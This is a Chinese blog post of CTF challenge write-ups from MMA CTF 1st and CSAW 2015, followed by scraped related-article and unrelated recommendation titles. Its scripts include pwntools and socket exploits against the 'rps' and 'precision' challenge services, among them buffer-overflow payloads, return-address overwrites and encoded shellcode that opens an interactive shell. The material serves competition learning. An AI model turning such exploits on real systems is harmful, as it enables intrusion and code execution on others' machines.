mma ctf 1st && csaw 2015
(很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下。
mma ctf 1st 之 rps:
from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('milkyway.chal.mmactf.link',1641))
#s.connect(('127.0.0.1',10001))
print s.recv(1024) payload = 'a'*48 + '\x03\x00\x00\x00\x00\x00\x00\x00'+ '\n'
s.send(payload)
print s.recv(1024) rand=open("rand")#提前生成rand文件
for line in rand:
if(line.rstrip()==''):
s.send('S\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('R\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('P\n')
print s.recv(1024) print s.recv(1024)
print s.recv(1024)
rand.close()
s.close()
flag:

赛后,看了他人写的writeup,感觉比我的好多了,也学了不少。
poc1:
from pwn import *
from ctypes import * rps = 'RPS'
libc = CDLL("libc.so.6")
libc.srand(0x01010101); def getNextAnswer():
comp = libc.rand()%3
mine = (comp + 1) %3
return rps[mine]
r = remote("milkyway.chal.mmactf.link", 1641)
nama = "A" * 0x30
nama += "\x01"*4
print r.recv()
print "Sending: " + str(nama)
r.send(str(nama) + "\n")
print r.recv()
for j in range(0, 50 ):
x = getNextAnswer()
print r.recv()
print "Sending: " + x + "\n"
r.send(x + "\n")
data = r.recv()
print data
print r.recv()
r.close()
poc2:不同的思路
from pwn import *
import time
context.binary=”rps”
context.bits=64
addr1=0x00000000006010e8
addr2=0x00000000004008b4
payload=”A”*80
payload+=pack(addr1)
payload+=pack(addr2)
p=remote(“milkyway.chal.mmactf.link”,1641)
msg=p.recvuntil(‘:’)
print msg
p.sendline(payload)
msg=p.recvlines(2)
print msg
p.sendline(“I”)
msg=p.recvall()
print msg
mma ctf 1st 之 cannotberun:
拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0,则表示该文件是一个DOS MZ可执行文件,如果不为0,就是一个Windows的PE文件。
flag:

mma ctf 1st 之 splitted:
wireshark中follow tcp stream后,就可以发现每个包的位置了,然后就用010 editor重组一下,解压后是个psd文件,在线找了一个photoshop,两个图层,其中一个就是flag。
flag:

赛后看有人直接用 convert flag.psd flag.png ,直接就能看flag了
mma ctf 1st 之 simple_hash:
这个当时时间有点紧,算法已经弄懂,但是脚本没写出来。赛后,自己写了一个,不过比较慢,还有很大优化的空间。
算法是一个
import datetime
import itertools
import string
target = 0x1E1EAB437EEB0
mod = 0x38D7EA4C68025
alphabet = string.ascii_letters + string.digits
def crack(can):
result = ''
while(can>0):
q,r = divmod(can,577)
if r>=255:
return ''
if(chr(r) not in alphabet):
return ''
result = result + chr(r)
if len(result)>10:
return ''
can = q
return result
starttime = datetime.datetime.now()
for i in itertools.count():
if i%10000000==0:
print i
target += mod
key = crack(target)
if key != '':
print 'cool\n'
print ''.join(reversed(key))
break
endtime = datetime.datetime.now()
print (endtime - starttime).seconds
csaw pwn precision
from pwn import *
r = remote('54.173.98.115', 1259)
#r = remote('127.0.0.1',10001)
ret = r.recv(1024)[-9:-1]
print 'ret addr: %s' % ret
ret = int(ret,16)
retaddr = p32(ret) shellcode="\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f"
shellcode += "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8"
shellcode += "\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2"
shellcode += "\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c" payload = shellcode + 'a'*(0x80-58) + '\xa5\x31\x5a\x47\x55\x15\x50\x40' + 'b'*12 + retaddr r.sendline(payload)
r.interactive()
mma ctf 1st && csaw 2015的更多相关文章
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- MMA CTF 2nd 2016-greeting
目录 MMA CTF 2nd 2016-greeting 总结 题目分析 checksec 函数分析 漏洞点 知识点 利用思路 EXP 完整Exp MMA CTF 2nd 2016-greeting ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- 【原生态跨平台:ASP.NET Core 1.0(非Mono)在 Ubuntu 14.04 服务器上一对一的配置实现-篇幅1】
鸡冻人心的2016,微软高产年. build 2016后 各种干货层出不穷. 1 Win10 集成了bash ,实现了纳德拉的成诺,Microsoft Love Linux!!! 2 跨平台 ,收 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CSAW CTF Qualification Round 2018 - shell->code
原题 Linked lists are great! They let you chain pieces of data together. nc pwn.chal.csaw.io 9005 链接:h ...
- COCI 2015、2016 1st round 题解(官方)
官方题解: 官方代码: Code-KARTE: #include <cstdio> #include <iostream> #include <cstring> u ...
- CSAW Quals CTF 2017-scv
目录 程序基本信息 程序漏洞 整体思路 exp脚本 内容参考 程序基本信息 64位动态链接程序,开启了栈溢出和数据段不可执行保护 程序漏洞 read函数很明显的栈溢出漏洞 整体思路 由于题目给了lib ...
随机推荐
- PHP MySQL Where 子句 之Where
WHERE 子句 如需选取匹配指定条件的数据,请向 SELECT 语句添加 WHERE 子句. 语法 SELECT column FROM table WHERE column operator va ...
- [Java Web]Struts2解决中文乱码问题
1.设置struts的字符编码,能够在struts.xml中添加下面代码: <constant name="struts.i18n.encoding" value=" ...
- 看漫画,学 Redux
Flux 架构已然让人觉得有些迷惑,而比 Flux 更让人摸不着头脑的是 Flux 与 Redux 的区别.Redux 是一个基于 Flux 思想的新架构方式,本文将探讨它们的区别. 如果你还没有看过 ...
- asp.net关于Repeater控件中的全选,批量操作
今天在Repeater控件中碰到一个全选的操作,于是上网查了一下,找到一个觉得比较好,便记录下来, 界面代码简化之后(全选操作): <script type="text/javascr ...
- 调用打印机Demo
接口 PrintService 是 DocPrintJob 的工厂.PrintService 描述了打印机的功能,并可查询它来了解打印机支持的属性. Java代码 import java.io ...
- 实现android4.4新特性:沉浸式状态栏
先放效果图: 所谓沉浸式状态栏,就是android4.4以后新加入的ui效果,能使最顶部的状态栏自动适宜app顶部的颜色,使两者看起来更像融为一体.下面放上实现代码: requestWindowFea ...
- 介绍一款管理软件Redmine
Redmine是用Ruby开发的基于web的项目管理软件,是用ROR框架开发的一套跨平台项目管理系统,据说是源于Basecamp的ror版而来,支持多种数据库,有不少自己独特的功能,例如提供wiki. ...
- java服务器简单实现
一 HTTP http请求 一般一个http请求包括以下三个部分: 1 请求方法,如get,post 2 请求头 3 实体 一个http请求的实例如下:GET /index.jsp HTTP/1.1H ...
- ruby和Python简单对比
前不久学了ruby,发现ruby和Python非常像,于是自个测试对比了下,测完了才知道网上有现成的……下面是测试结果 序列(包括列表和元组等)有分片的特点:可能会比较方便的提取其中特定元素,暂时 ...
- quoit design(hdoj p1007)
Problem Description Have you ever played quoit in a playground? Quoit is a game in which flat rings ...